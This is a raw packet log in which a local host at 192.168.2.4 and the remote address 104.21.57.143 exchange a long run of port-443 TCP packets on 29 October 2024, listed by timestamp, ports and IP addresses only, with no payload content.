Oct 29, 2024 10:47:12.481759071 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481790066 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481914043 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481955051 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.481970072 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.481978893 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482007980 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482110023 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482172966 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482176065 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482199907 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482230902 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482464075 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482501030 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482522964 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482530117 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482553005 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482614994 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482660055 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482670069 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482697010 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.482719898 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.482975960 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483019114 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483042955 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483052015 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483064890 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483227968 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483273983 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483284950 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483336926 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483338118 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483578920 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483620882 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483635902 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483644962 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483673096 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483783007 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483845949 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483855009 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483901978 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.483958006 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.483967066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484258890 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484296083 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484314919 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484323025 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484338999 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484504938 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484553099 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484568119 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484576941 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484601974 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484747887 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484787941 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484806061 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484813929 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484833002 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484919071 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484961987 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.484968901 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.484998941 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485074997 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485083103 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485198021 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485234976 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485245943 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485265017 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485291958 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485404968 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485450029 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485459089 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485474110 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485507011 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485685110 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485726118 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485739946 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485750914 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485765934 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485786915 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485898972 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485943079 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485955000 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.485965967 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.485996008 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.486176014 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.486263037 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.486357927 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.486373901 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.486382961 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.486407042 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.486860037 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.486907005 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.486922026 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.486937046 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.486954927 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.487061024 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.487132072 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.487171888 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.487183094 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.487195969 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.487246037 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.487291098 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.487303019 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.487346888 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.487360954 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.539586067 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596057892 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596074104 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596143961 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596177101 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596340895 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596494913 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596509933 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596551895 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596560001 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596623898 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596645117 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596666098 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596673965 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596705914 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596716881 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596730947 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596759081 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596776009 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596785069 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596822977 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596822977 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.596932888 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596949100 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.596992970 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597001076 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597027063 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597037077 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597295046 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597309113 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597347975 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597356081 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597546101 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597563982 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597596884 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597606897 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597620010 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597645044 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597860098 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597875118 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597913027 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597919941 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.597939968 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.597950935 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598102093 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598117113 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598149061 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598157883 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598174095 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598192930 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598339081 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598352909 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598392963 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598400116 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598666906 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598685980 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598716021 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598723888 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.598737001 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.598759890 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599001884 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599014997 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599056005 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599064112 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599097967 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599597931 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599613905 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599658966 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599666119 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599679947 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599704027 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599823952 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599838018 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599869013 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599874973 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.599900961 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.599910021 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600085974 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600099087 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600147009 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600155115 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600244999 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600347042 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600361109 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600397110 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600405931 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600445986 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600568056 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600581884 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600611925 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600626945 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600647926 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600658894 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600860119 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600873947 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.600914001 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.600922108 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601092100 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601126909 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601141930 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601171970 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601180077 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601198912 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601210117 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601526022 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601541042 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601578951 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601587057 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601618052 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601625919 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601867914 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601881981 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.601922035 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.601931095 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602404118 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602600098 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602615118 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602668047 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602678061 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602725983 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602792978 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602806091 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602838993 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602847099 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602873087 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602883101 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602904081 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602921963 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.602967024 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.602976084 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.603013992 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.640518904 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.640562057 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.640604019 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.640650988 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.640669107 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.640696049 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.711688995 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.711738110 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.711781025 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.711811066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.711829901 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.711852074 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712181091 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712228060 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712249994 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712256908 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712274075 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712296009 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712507963 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712548018 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712574959 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712583065 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712608099 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712621927 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712733030 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712771893 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712800026 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712806940 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712827921 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712910891 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.712924004 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.712991953 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713155985 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713219881 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713306904 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713346004 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713361025 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713370085 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713396072 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713407993 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713490963 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713532925 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713545084 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713562012 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713584900 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713602066 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713715076 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713754892 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713771105 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713778973 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713797092 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713814020 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713900089 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713941097 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713965893 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.713973045 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.713987112 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714010954 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714247942 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714287043 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714309931 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714317083 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714344978 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714356899 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714433908 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714473963 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714489937 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714498043 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714520931 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714543104 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714610100 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714653015 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714668036 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714677095 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714692116 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714730978 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714813948 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714854956 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714862108 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714895964 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.714932919 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.714945078 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715146065 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715200901 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715261936 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715468884 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715500116 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715511084 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715523005 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715588093 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715629101 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715656996 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715666056 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715687990 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715807915 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715847015 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715873957 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715883970 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.715898991 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.715909958 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716036081 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716073990 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716094017 CET	49756	443	192.168.2.4	104.21.57.143
